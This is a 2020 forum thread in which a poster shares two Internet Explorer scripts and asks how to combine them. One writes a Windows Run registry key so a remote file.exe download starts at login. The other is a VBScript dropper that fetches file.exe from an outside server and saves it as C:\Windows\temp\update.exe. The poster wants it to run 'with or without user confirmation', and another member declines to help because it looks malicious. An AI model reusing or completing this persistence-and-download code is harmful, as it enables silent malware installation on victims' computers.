Page 1 of 1

Run a vbs script inside Internet Explorer Module

Posted: 24 Oct 2020 13:04
by hacxx
I now this is a batch forum but i have this programing question and probably can be solved here...

I have this code from some time that adds a registry key to the system when executed from Internet Explorer.
(The user needs to confirm if he/she wants to execute the ActiveX object but this is not a problem)

This is the script (Script 1)

Code: Select all

<script> var url = 'iexplore.exe http://myserver/download.php?file.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\myapp',url); </script>
And i want to change the script above to run the code below

This is a vbs script (Script 2)

Code: Select all

<script>
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
 dim bStrm: Set bStrm = createobject("Adodb.Stream")
 xHttp.Open "GET", "http://myserver/download.php?file.exe", False
 xHttp.Send
 with bStrm
     .type = 1 '
     .open
     .write xHttp.responseBody
    .savetofile "C:\Windows\temp\update.exe", 2 '
 end with
</script>
The idea is to change the registry script 1 and run script 2 inside internet explorer. (With or without user confirmation)

Re: Run a vbs script inside Internet Explorer Module

Posted: 24 Oct 2020 13:11
by T3RRY
I cant see anyone here helping with a task can be used for malicious purposes.

Re: Run a vbs script inside Internet Explorer Module

Posted: 24 Oct 2020 13:45
by hacxx
T3RRY wrote:
24 Oct 2020 13:11
I cant see anyone here helping with a task can be used for malicious purposes.
It requires Internet Explorer and almost no one is using it nowadays. This is to run inside a application that i'm developing using the Internet Explorer module...